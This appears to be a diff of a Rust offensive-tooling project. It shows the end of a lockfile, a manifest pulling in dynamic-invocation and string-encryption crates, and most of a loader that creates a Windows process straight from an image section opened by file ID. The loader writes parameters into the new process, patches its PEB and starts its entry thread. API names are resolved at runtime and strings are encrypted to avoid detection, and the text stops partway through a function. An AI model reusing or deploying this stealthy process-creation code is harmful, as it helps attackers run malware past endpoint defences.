source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
|
||||
dependencies = [
|
||||
"ppv-lite86",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_core"
|
||||
version = "0.6.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
|
||||
dependencies = [
|
||||
"getrandom",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rustc-demangle"
|
||||
version = "0.1.27"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b50b8869d9fc858ce7266cce0194bd74df58b9d0e3f6df3a9fc8eb470d95c09d"
|
||||
|
||||
[[package]]
|
||||
name = "shlex"
|
||||
version = "1.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "1.0.109"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "2.0.114"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d4d107df263a3013ef9b1879b0df87d706ff80f65a86ea879bd9c31f9b307c2a"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "synstructure"
|
||||
version = "0.12.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f36bdaa60a83aca3921b5259d5400cbf5e90fc51931376a9bd4a0eb79aa7210f"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 1.0.109",
|
||||
"unicode-xid",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unicode-ident"
|
||||
version = "1.0.22"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9312f7c4f6ff9069b165498234ce8be658059c6728633667c526e27dc2cf1df5"
|
||||
|
||||
[[package]]
|
||||
name = "unicode-xid"
|
||||
version = "0.2.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
|
||||
|
||||
[[package]]
|
||||
name = "wasi"
|
||||
version = "0.11.1+wasi-snapshot-preview1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"
|
||||
|
||||
[[package]]
|
||||
name = "widestring"
|
||||
version = "0.4.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c168940144dd21fd8046987c16a46a33d5fc84eec29ef9dcddc2ac9e31526b7c"
|
||||
|
||||
[[package]]
|
||||
name = "winapi"
|
||||
version = "0.3.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
|
||||
dependencies = [
|
||||
"winapi-i686-pc-windows-gnu",
|
||||
"winapi-x86_64-pc-windows-gnu",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "winapi-i686-pc-windows-gnu"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
|
||||
|
||||
[[package]]
|
||||
name = "winapi-x86_64-pc-windows-gnu"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||
|
||||
[[package]]
|
||||
name = "windows"
|
||||
version = "0.62.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "527fadee13e0c05939a6a05d5bd6eec6cd2e3dbd648b9f8e447c6518133d8580"
|
||||
dependencies = [
|
||||
"windows-collections",
|
||||
"windows-core",
|
||||
"windows-future",
|
||||
"windows-numerics",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-collections"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "23b2d95af1a8a14a3c7367e1ed4fc9c20e0a26e79551b1454d72583c97cc6610"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-core"
|
||||
version = "0.62.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb"
|
||||
dependencies = [
|
||||
"windows-implement",
|
||||
"windows-interface",
|
||||
"windows-link",
|
||||
"windows-result",
|
||||
"windows-strings",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-future"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e1d6f90251fe18a279739e78025bd6ddc52a7e22f921070ccdc67dde84c605cb"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
"windows-link",
|
||||
"windows-threading",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-implement"
|
||||
version = "0.60.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.114",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-interface"
|
||||
version = "0.59.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.114",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-link"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
|
||||
|
||||
[[package]]
|
||||
name = "windows-numerics"
|
||||
version = "0.3.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6e2e40844ac143cdb44aead537bbf727de9b044e107a0f1220392177d15b0f26"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-result"
|
||||
version = "0.4.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-strings"
|
||||
version = "0.5.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.61.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-threading"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3949bd5b99cafdf1c7ca86b43ca564028dfe27d66958f2470940f73d86d75b37"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "winproc"
|
||||
version = "0.6.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "979e07b33c6af27e5c454e42d1b946b403ec222e7bad52ef020820708e087b25"
|
||||
dependencies = [
|
||||
"bitflags 1.3.2",
|
||||
"failure",
|
||||
"widestring",
|
||||
"winapi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerocopy"
|
||||
version = "0.8.35"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "fdea86ddd5568519879b8187e1cf04e24fce28f7fe046ceecbce472ff19a2572"
|
||||
dependencies = [
|
||||
"zerocopy-derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerocopy-derive"
|
||||
version = "0.8.35"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0c15e1b46eff7c6c91195752e0eeed8ef040e391cdece7c25376957d5f15df22"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.114",
|
||||
]
|
||||
@@ -0,0 +1,18 @@
|
||||
[package]
|
||||
name = "creator"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
dinvoke_rs = "=0.2.1"
|
||||
litcrypt2 = "=0.1.2"
|
||||
data = { path = "../data"}
|
||||
|
||||
[dependencies.windows]
|
||||
version = "=0.62"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Storage",
|
||||
"Win32_Storage_FileSystem",
|
||||
"Win32_Security"
|
||||
]
|
||||
@@ -0,0 +1,737 @@
|
||||
use litcrypt2::{use_litcrypt, lc};
|
||||
use_litcrypt!();
|
||||
|
||||
use std::{ffi::c_void, ptr};
|
||||
use windows::{Win32::{Foundation::HANDLE, Storage::FileSystem::{FILE_ID_DESCRIPTOR, FILE_ID_DESCRIPTOR_0, FILE_ID_TYPE}, System::Threading::PROCESS_BASIC_INFORMATION}};
|
||||
use dinvoke_rs::data::{CreateFileW, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_DELETE, FILE_SHARE_READ, FILE_SHARE_WRITE, GENERIC_EXECUTE, GENERIC_READ, MEM_COMMIT, MEM_RESERVE, OPEN_EXISTING, PAGE_EXECUTE_READ, PAGE_READWRITE, PVOID, SEC_IMAGE, SECTION_ALL_ACCESS, THREAD_ALL_ACCESS};
|
||||
use data::{CreateEnvironmentBlock, FILE_ID_TYPE_FILE_ID, GetFinalPathNameByHandleW, HANDLE_CREATE_NEW_CONSOLE, NtCreateProcessEx, OpenFileById, PROCESS_ALL_ACCESS, RTL_USER_PROCESS_PARAMETERS_NORMALIZED, RtlCreateProcessParametersEx, RtlUserProcessParameters};
|
||||
|
||||
pub fn spawn_process(unit: &str, frn_u64: u64)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let kernel32 = dinvoke_rs::dinvoke::get_module_base_address(&lc!("kernel32.dll"));
|
||||
if kernel32 == 0 {
|
||||
println!("{}", &lc!(r"[x] kernel32.dll not found."));
|
||||
return;
|
||||
}
|
||||
|
||||
let ntdll = dinvoke_rs::dinvoke::get_module_base_address(&lc!("ntdll.dll"));
|
||||
if ntdll == 0 {
|
||||
println!("{}", &lc!(r"[x] ntdll.dll not found."));
|
||||
return;
|
||||
}
|
||||
|
||||
let volume = format!(r"\\.\{}:", unit);
|
||||
let volume_wide_str = dinvoke_rs::utils::str_to_wide_string(&volume);
|
||||
let function: CreateFileW;
|
||||
let ret: Option<HANDLE>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
kernel32,
|
||||
&lc!("CreateFileW"),
|
||||
function,
|
||||
ret,
|
||||
volume_wide_str.as_ptr(),
|
||||
GENERIC_READ,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||
ptr::null_mut(),
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
HANDLE::default()
|
||||
);
|
||||
|
||||
let volume_handle = ret.unwrap();
|
||||
if volume_handle.0 as isize == -1 { // INVALID_HANDLE_VALUE
|
||||
println!("{}{}.", &lc!(r"[x] Failed to open a handle to "), volume);
|
||||
return;
|
||||
}
|
||||
|
||||
let desc = FILE_ID_DESCRIPTOR {
|
||||
dwSize: std::mem::size_of::<FILE_ID_DESCRIPTOR>() as u32,
|
||||
Type: FILE_ID_TYPE(FILE_ID_TYPE_FILE_ID),
|
||||
Anonymous: FILE_ID_DESCRIPTOR_0 { FileId: frn_u64 as i64 },
|
||||
};
|
||||
|
||||
let function: OpenFileById;
|
||||
let ret: Option<HANDLE>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
kernel32,
|
||||
&lc!("OpenFileById"), // Easier than using NtCreateFile
|
||||
function,
|
||||
ret,
|
||||
volume_handle,
|
||||
&desc as *const FILE_ID_DESCRIPTOR,
|
||||
GENERIC_READ | GENERIC_EXECUTE,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
||||
ptr::null(),
|
||||
0
|
||||
);
|
||||
|
||||
let file_handle = ret.unwrap();
|
||||
if file_handle.0 as isize == -1 {
|
||||
println!("{}0x{:x}.", &lc!(r"[x] Failed to open file by FRN "), frn_u64);
|
||||
dinvoke_rs::dinvoke::close_handle(volume_handle);
|
||||
return;
|
||||
}
|
||||
|
||||
println!("{}0x{:x}{}{}'.", &lc!(r"[+] Successfully opened handle to file by FRN '"), frn_u64, &lc!(r"' on volume '"), volume);
|
||||
|
||||
let mut section_handle = HANDLE::default();
|
||||
let ret = dinvoke_rs::dinvoke::nt_create_section(
|
||||
&mut section_handle,
|
||||
SECTION_ALL_ACCESS,
|
||||
ptr::null_mut(),
|
||||
ptr::null_mut(),
|
||||
PAGE_EXECUTE_READ,
|
||||
SEC_IMAGE,
|
||||
file_handle
|
||||
);
|
||||
|
||||
if ret != 0 {
|
||||
println!("{}0x{:x}.", &lc!(r"[x] Failed to create section. NTSTATUS: "), ret);
|
||||
dinvoke_rs::dinvoke::close_handle(file_handle);
|
||||
dinvoke_rs::dinvoke::close_handle(volume_handle);
|
||||
return;
|
||||
}
|
||||
|
||||
let offset: Vec<u8> =vec![0; size_of::<i64>()];
|
||||
let offset: *mut i64 = std::mem::transmute(offset.as_ptr());
|
||||
let b = usize::default();
|
||||
let base_address: *mut PVOID = std::mem::transmute(&b);
|
||||
let v = usize::default();
|
||||
let view_size: *mut usize = std::mem::transmute(&v);
|
||||
let ret = dinvoke_rs::dinvoke::nt_map_view_of_section(
|
||||
section_handle,
|
||||
HANDLE(-1 as _),
|
||||
base_address,
|
||||
0,
|
||||
0,
|
||||
offset as _,
|
||||
view_size,
|
||||
0x2,
|
||||
0,
|
||||
PAGE_EXECUTE_READ
|
||||
);
|
||||
|
||||
if ret != 0 {
|
||||
println!("{}0x{:x}.", &lc!(r"[x] Failed to map view of section. NTSTATUS: "), ret);
|
||||
dinvoke_rs::dinvoke::close_handle(file_handle);
|
||||
dinvoke_rs::dinvoke::close_handle(volume_handle);
|
||||
return;
|
||||
}
|
||||
|
||||
println!("{}0x{:x}.", &lc!(r"[+] File section mapped into current process. Base address: "), *base_address as usize);
|
||||
let entry_point_rva = get_entry_point_rva(*base_address as usize);
|
||||
|
||||
let function: NtCreateProcessEx;
|
||||
let ret: Option<i32>;
|
||||
let mut new_process_handle = HANDLE::default();
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
ntdll,
|
||||
&lc!("NtCreateProcessEx"),
|
||||
function,
|
||||
ret,
|
||||
&mut new_process_handle as *mut HANDLE,
|
||||
PROCESS_ALL_ACCESS,
|
||||
ptr::null_mut(),
|
||||
HANDLE(-1 as _),
|
||||
0,
|
||||
section_handle,
|
||||
HANDLE::default(),
|
||||
HANDLE::default(),
|
||||
0
|
||||
);
|
||||
|
||||
if ret.unwrap() != 0 {
|
||||
println!("{}0x{:x}.", &lc!(r"[x] Failed to create process from section. NTSTATUS: "), ret.unwrap());
|
||||
dinvoke_rs::dinvoke::close_handle(file_handle);
|
||||
dinvoke_rs::dinvoke::close_handle(volume_handle);
|
||||
return;
|
||||
}
|
||||
|
||||
println!("{}0x{:x}.", &lc!(r"[+] Process created from section. Handle: "), new_process_handle.0 as usize);
|
||||
|
||||
let peb_address = get_peb_address(new_process_handle);
|
||||
if peb_address == 0 {
|
||||
dinvoke_rs::dinvoke::close_handle(file_handle);
|
||||
dinvoke_rs::dinvoke::close_handle(volume_handle);
|
||||
return;
|
||||
}
|
||||
|
||||
let image_base_address = get_image_base_address(new_process_handle, peb_address);
|
||||
if image_base_address == 0 {
|
||||
dinvoke_rs::dinvoke::close_handle(file_handle);
|
||||
dinvoke_rs::dinvoke::close_handle(volume_handle);
|
||||
return;
|
||||
}
|
||||
|
||||
if !setup_parameters_and_environment_block(new_process_handle, peb_address, file_handle, kernel32, ntdll) {
|
||||
dinvoke_rs::dinvoke::close_handle(file_handle);
|
||||
dinvoke_rs::dinvoke::close_handle(volume_handle);
|
||||
return;
|
||||
}
|
||||
|
||||
let mut thread_handle = HANDLE::default();
|
||||
let ret = dinvoke_rs::dinvoke::nt_create_thread_ex(
|
||||
&mut thread_handle,
|
||||
THREAD_ALL_ACCESS,
|
||||
ptr::null_mut(),
|
||||
new_process_handle,
|
||||
(image_base_address + entry_point_rva) as *mut c_void,
|
||||
ptr::null_mut(),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
ptr::null_mut()
|
||||
);
|
||||
|
||||
if ret != 0 {
|
||||
println!("{}0x{:x}.", &lc!(r"[x] Failed to create thread in the new process. NTSTATUS: "), ret);
|
||||
dinvoke_rs::dinvoke::close_handle(file_handle);
|
||||
dinvoke_rs::dinvoke::close_handle(volume_handle);
|
||||
return;
|
||||
}
|
||||
|
||||
println!("{}", &lc!(r"[+] Initial thread launched."));
|
||||
|
||||
dinvoke_rs::dinvoke::close_handle(file_handle);
|
||||
dinvoke_rs::dinvoke::close_handle(volume_handle);
|
||||
}
|
||||
}
|
||||
|
||||
fn setup_parameters_and_environment_block(process_handle: HANDLE, peb_address: usize, file_handle: HANDLE, kernel32: usize, ntdll: usize) -> bool
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let final_path = get_final_dos_path_from_handle(kernel32, file_handle);
|
||||
if final_path.is_empty() {
|
||||
println!("{}", &lc!(r"[x] Retrieval of file path failed."));
|
||||
return false;
|
||||
}
|
||||
|
||||
let final_path_unicode = dinvoke_rs::utils::str_to_unicode_string(&final_path);
|
||||
if final_path_unicode.is_err() {
|
||||
println!("{}", &lc!(r"[x] Failed to convert file path to UNICODE_STRING."));
|
||||
return false;
|
||||
}
|
||||
|
||||
let mut final_path_unicode = final_path_unicode.unwrap();
|
||||
let local_environment_block = create_environment_block();
|
||||
if local_environment_block == ptr::null_mut() {
|
||||
println!("{}", &lc!(r"[x] Call to CreateEnvironmentBlock failed."));
|
||||
return false;
|
||||
}
|
||||
|
||||
let env_block_size = get_environment_size(local_environment_block as _);
|
||||
println!("{}{} bytes.", &lc!("[+] New environment block created. Size: "), env_block_size);
|
||||
|
||||
let function: RtlCreateProcessParametersEx;
|
||||
let ret: Option<i32>;
|
||||
let mut parameters_ptr: *mut RtlUserProcessParameters = ptr::null_mut();
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
ntdll,
|
||||
&lc!("RtlCreateProcessParametersEx"),
|
||||
function,
|
||||
ret,
|
||||
&mut parameters_ptr,
|
||||
&mut final_path_unicode,
|
||||
ptr::null_mut(),
|
||||
ptr::null_mut(),
|
||||
&mut final_path_unicode,
|
||||
ptr::null_mut(),
|
||||
ptr::null_mut(),
|
||||
ptr::null_mut(),
|
||||
ptr::null_mut(),
|
||||
ptr::null_mut(),
|
||||
RTL_USER_PROCESS_PARAMETERS_NORMALIZED
|
||||
);
|
||||
|
||||
if ret.unwrap() != 0 {
|
||||
println!("{}{:x}.", &lc!(r"[x] Call to RtlCreateProcessParametersEx failed. NTSTATUS: "), ret.unwrap());
|
||||
return false;
|
||||
}
|
||||
|
||||
println!("{}{} bytes.", &lc!("[+] RtlUserProcessParameters structure populated. Size: "), (*parameters_ptr).maximum_length);
|
||||
|
||||
let mut base_address: *mut c_void = ptr::null_mut();
|
||||
let s = env_block_size;
|
||||
let size: *mut usize = std::mem::transmute(&s);
|
||||
let ret = dinvoke_rs::dinvoke::nt_allocate_virtual_memory(
|
||||
process_handle,
|
||||
&mut base_address,
|
||||
0,
|
||||
size,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
);
|
||||
|
||||
if ret != 0 {
|
||||
println!("{}{:x}.", &lc!(r"[x] Failed to allocate memory in the remote process. NTSTATUS: "), ret);
|
||||
return false;
|
||||
}
|
||||
|
||||
let mut bytes_written= 0usize;
|
||||
let ret = dinvoke_rs::dinvoke::nt_write_virtual_memory(
|
||||
process_handle,
|
||||
base_address,
|
||||
local_environment_block,
|
||||
env_block_size,
|
||||
&mut bytes_written
|
||||
);
|
||||
|
||||
if ret != 0 {
|
||||
println!("{}{:x}.", &lc!(r"[x] Failed to write the new environment block in the remote process. NTSTATUS: "), ret);
|
||||
return false;
|
||||
}
|
||||
|
||||
println!("{}0x{:x}", &lc!("[+] New environment block successfully written to the remote process. Address: "), base_address as usize);
|
||||
(*parameters_ptr).console_handle = HANDLE(HANDLE_CREATE_NEW_CONSOLE as _);
|
||||
(*parameters_ptr).environment = base_address;
|
||||
|
||||
let mut base_address: *mut c_void = ptr::null_mut();
|
||||
let s = (*parameters_ptr).maximum_length as usize;
|
||||
let size: *mut usize = std::mem::transmute(&s);
|
||||
let ret = dinvoke_rs::dinvoke::nt_allocate_virtual_memory(
|
||||
process_handle,
|
||||
&mut base_address,
|
||||
0,
|
||||
size,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
);
|
||||
|
||||
if ret != 0 {
|
||||
println!("{}{:x}.", &lc!(r"[x] Failed to allocate memory in the remote process. NTSTATUS: "), ret);
|
||||
return false;
|
||||
}
|
||||
|
||||
let remote_parameters_address = base_address as usize;
|
||||
let delta = remote_parameters_address - parameters_ptr as usize;
|
||||
fix_pointers(parameters_ptr, parameters_ptr as usize, delta as isize);
|
||||
|
||||
// Environment Block + RtlUserProcessParameters could be written in the new process together to reduce 1 allocation + 1 remote writing
|
||||
let mut bytes_written= 0usize;
|
||||
let ret = dinvoke_rs::dinvoke::nt_write_virtual_memory(
|
||||
process_handle,
|
||||
base_address,
|
||||
parameters_ptr as _,
|
||||
(*parameters_ptr).maximum_length as _,
|
||||
&mut bytes_written
|
||||
);
|
||||
|
||||
println!("{}0x{:x}", &lc!("[+] RtlUserProcessParameters structure written to the remote process. Address: "), base_address as usize);
|
||||
|
||||
if ret != 0 {
|
||||
println!("{}{:x}.", &lc!(r"[x] Failed to write the RtlUserProcessParameters contents in the remote process. NTSTATUS: "), ret);
|
||||
return false;
|
||||
}
|
||||
|
||||
let remote_address_buffer = std::mem::transmute(&remote_parameters_address);
|
||||
let mut bytes_written= 0usize;
|
||||
let ret = dinvoke_rs::dinvoke::nt_write_virtual_memory(
|
||||
process_handle,
|
||||
(peb_address + 0x20) as *mut _, // PEB.ProcessParameters
|
||||
remote_address_buffer,
|
||||
size_of::<usize>(),
|
||||
&mut bytes_written
|
||||
);
|
||||
|
||||
if ret != 0 {
|
||||
println!("{}{:x}.", &lc!(r"[x] Failed to patch the PEB of the remote process. NTSTATUS: "), ret);
|
||||
return false;
|
||||
}
|
||||
|
||||
println!("{}", &lc!("[+] New process' PEB patched."));
|
||||
true
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// This sucks but, is there a better way to do it?
|
||||
fn fix_pointers(parameters: *mut RtlUserProcessParameters, local_struct_address: usize, delta: isize)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let params = &mut *parameters;
|
||||
|
||||
let max_current_address = match local_struct_address.checked_add(params.maximum_length as usize) {
|
||||
Some(v) => v,
|
||||
None => return,
|
||||
};
|
||||
|
||||
if local_struct_address <= params.current_directory.dos_path.Buffer.0 as usize
|
||||
&& (params.current_directory.dos_path.Buffer.0 as usize) < max_current_address
|
||||
{
|
||||
params.current_directory.dos_path.Buffer.0 =
|
||||
(params.current_directory.dos_path.Buffer.0 as isize + delta) as _;
|
||||
}
|
||||
|
||||
if local_struct_address <= params.dll_path.Buffer.0 as usize
|
||||
&& (params.dll_path.Buffer.0 as usize) < max_current_address
|
||||
{
|
||||
params.dll_path.Buffer.0 = (params.dll_path.Buffer.0 as isize + delta) as _;
|
||||
}
|
||||
|
||||
if local_struct_address <= params.image_path_name.Buffer.0 as usize
|
||||
&& (params.image_path_name.Buffer.0 as usize) < max_current_address
|
||||
{
|
||||
params.image_path_name.Buffer.0 = (params.image_path_name.Buffer.0 as isize + delta) as _;
|
||||
}
|
||||
|
||||
if local_struct_address <= params.command_line.Buffer.0 as usize
|
||||
&& (params.command_line.Buffer.0 as usize) < max_current_address
|
||||
{
|
||||
params.command_line.Buffer.0 = (params.command_line.Buffer.0 as isize + delta) as _;
|
||||
}
|
||||
|
||||
if local_struct_address <= params.environment as usize
|
||||
&& (params.environment as usize) < max_current_address
|
||||
{
|
||||
params.environment = (params.environment as isize + delta) as _;
|
||||
}
|
||||
|
||||
if local_struct_address <= params.window_title.Buffer.0 as usize
|
||||
&& (params.window_title.Buffer.0 as usize) < max_current_address
|
||||
{
|
||||
params.window_title.Buffer.0 = (params.window_title.Buffer.0 as isize + delta) as _;
|
||||
}
|
||||
|
||||
if local_struct_address <= params.desktop_info.Buffer.0 as usize
|
||||
&& (params.desktop_info.Buffer.0 as usize) < max_current_address
|
||||
{
|
||||
params.desktop_info.Buffer.0 = (params.desktop_info.Buffer.0 as isize + delta) as _;
|
||||
}
|
||||
|
||||
if local_struct_address <= params.shell_info.Buffer.0 as usize
|
||||
&& (params.shell_info.Buffer.0 as usize) < max_current_address
|
||||
{
|
||||
params.shell_info.Buffer.0 = (params.shell_info.Buffer.0 as isize + delta) as _;
|
||||
}
|
||||
|
||||
if local_struct_address <= params.runtime_data.Buffer.0 as usize
|
||||
&& (params.runtime_data.Buffer.0 as usize) < max_current_address
|
||||
{
|
||||
params.runtime_data.Buffer.0 = (params.runtime_data.Buffer.0 as isize + delta) as _;
|
||||
}
|
||||
|
||||
if local_struct_address <= params.package_dependency_data as usize
|
||||
&& (params.package_dependency_data as usize) < max_current_address
|
||||
{
|
||||
params.package_dependency_data = (params.package_dependency_data as isize + delta) as _;
|
||||
}
|
||||
|
||||
if local_struct_address <= params.redirection_dll_name.Buffer.0 as usize
|
||||
&& (params.redirection_dll_name.Buffer.0 as usize) < max_current_address
|
||||
{
|
||||
params.redirection_dll_name.Buffer.0 =
|
||||
(params.redirection_dll_name.Buffer.0 as isize + delta) as _;
|
||||
}
|
||||
|
||||
if local_struct_address <= params.heap_partition_name.Buffer.0 as usize
|
||||
&& (params.heap_partition_name.Buffer.0 as usize) < max_current_address
|
||||
{
|
||||
params.heap_partition_name.Buffer.0 =
|
||||
(params.heap_partition_name.Buffer.0 as isize + delta) as _;
|
||||
}
|
||||
|
||||
for c in &mut params.current_directories {
|
||||
if local_struct_address <= c.dos_path.Buffer.0 as usize
|
||||
&& (c.dos_path.Buffer.0 as usize) < max_current_address
|
||||
{
|
||||
c.dos_path.Buffer.0 = (c.dos_path.Buffer.0 as isize + delta) as _;
|
||||
}
|
||||
}
|
||||
|
||||
// It seems there are additional pointers beyond the last structure's attribute. I don't know what they are
|
||||
// but the process startup will fail if I don't relocate them as well.
|
||||
let struct_size = size_of::<RtlUserProcessParameters>();
|
||||
let total_len = params.maximum_length as usize;
|
||||
|
||||
if total_len > struct_size {
|
||||
let base_ptr = parameters as *mut u8;
|
||||
let tail_ptr = base_ptr.add(struct_size);
|
||||
let tail_len = total_len - struct_size;
|
||||
|
||||
let word = size_of::<usize>();
|
||||
if tail_len >= word {
|
||||
let last = tail_len - word;
|
||||
let mut off = 0usize;
|
||||
|
||||
while off <= last {
|
||||
let slot = tail_ptr.add(off) as *mut usize;
|
||||
|
||||
let val = ptr::read_unaligned(slot);
|
||||
|
||||
if local_struct_address <= val && val < max_current_address {
|
||||
let new_val = (val as isize).wrapping_add(delta) as usize;
|
||||
ptr::write_unaligned(slot, new_val);
|
||||
}
|
||||
|
||||
off += word;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn create_environment_block() -> PVOID
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let userenv = dinvoke_rs::dinvoke::load_library_a(&lc!("userenv.dll"));
|
||||
if userenv == 0 {
|
||||
println!("{}", &lc!(r"[x] userenv.dll not found."));
|
||||
return ptr::null_mut();
|
||||
}
|
||||
|
||||
let function: CreateEnvironmentBlock;
|
||||
let ret: Option<bool>;
|
||||
let mut env: *mut c_void = ptr::null_mut();
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
userenv,
|
||||
&lc!("CreateEnvironmentBlock"),
|
||||
function,
|
||||
ret,
|
||||
&mut env,
|
||||
HANDLE::default(),
|
||||
true
|
||||
);
|
||||
|
||||
if ret.unwrap() {
|
||||
env
|
||||
} else {
|
||||
ptr::null_mut()
